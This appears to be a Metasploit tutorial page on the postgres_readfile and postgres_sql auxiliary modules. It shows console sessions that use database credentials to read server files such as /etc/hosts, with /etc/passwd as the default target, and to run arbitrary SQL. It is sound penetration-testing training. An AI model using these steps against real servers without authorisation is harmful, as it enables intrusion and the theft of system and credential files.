Admin Postgres Auxiliary Modules a11y.text Admin Postgres Auxiliary Modules postgres_readfile a11y.text postgres_readfile The postgres_readfile module, when provided with valid credentials for a PostgreSQL server, will read and display files of your choosing on the server.

```
msf > use auxiliary/admin/postgres/postgres_readfile
msf auxiliary(postgres_readfile) > show options

Module options (auxiliary/admin/postgres/postgres_readfile):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD                   no        The password for the specified username. Leave blank for a random password.
   RFILE     /etc/passwd      yes       The remote file
   RHOST                      yes       The target address
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output
```

In order to configure the module, we set the PASSWORD and RHOST values, set RFILE as the file we wish to read and let the module run.

```
msf auxiliary(postgres_readfile) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(postgres_readfile) > set RFILE /etc/hosts
RFILE => /etc/hosts
msf auxiliary(postgres_readfile) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(postgres_readfile) > run
```

```
Query Text: 'CREATE TEMP TABLE UnprtSRXpcuMpN (INPUT TEXT);
  COPY UnprtSRXpcuMpN FROM '/etc/hosts';
  SELECT * FROM UnprtSRXpcuMpN'
================================================================================
=============================================================

   input
   -----
   127.0.0.1       localhost
   127.0.1.1       ph33r

   # The following lines are desirable for IPv6 capable hosts
   ::1     ip6-localhost ip6-loopback
   fe00::0 ip6-localnet
   ff00::0 ip6-mcastprefix
   ff02::1 ip6-allnodes
   ff02::2 ip6-allrouters
   ff02::3 ip6-allhosts

[*] Auxiliary module execution completed
msf auxiliary(postgres_readfile) > postgres_sql a11y.text postgres_sql The postgres_sql module,
```

when provided with valid credentials for a PostgreSQL server, will perform queries of your choosing and return the results.

```
msf > use auxiliary/admin/postgres/postgres_sql
msf auxiliary(postgres_sql) > show options
```

```
Module options (auxiliary/admin/postgres/postgres_sql):


   Name           Current Setting   Required  Description
   ----           ---------------   --------  -----------
   DATABASE       template1         yes       The database to authenticate against
   PASSWORD                         no        The password for the specified username. Leave blank for a
random password.
   RETURN_ROWSET  true              no        Set to true to see query result sets
   RHOST                            yes       The target address
   RPORT          5432              yes       The target port
   SQL            select version()  no        The SQL query to execute
   USERNAME       postgres          yes       The username to authenticate as
   VERBOSE        false             no        Enable verbose output The required configuration for this
module is minimal as we will just set our PASSWORD and RHOST values, leave the default query
to pull the server version, then let it run against our target. msf auxiliary(postgres_sql) > set
PASSWORD toor
PASSWORD => toor
msf auxiliary(postgres_sql) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(postgres_sql) > run

Query Text: 'select version()'
==============================


    version
    -------
    PostgreSQL 8.3.8 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-1ubuntu11) 4.3.2


[*] Auxiliary module execution completed
msf auxiliary(postgres_sql) >
```

Next Admin VMware Auxiliary Modules Prev Admin MSSQL Auxiliary Modules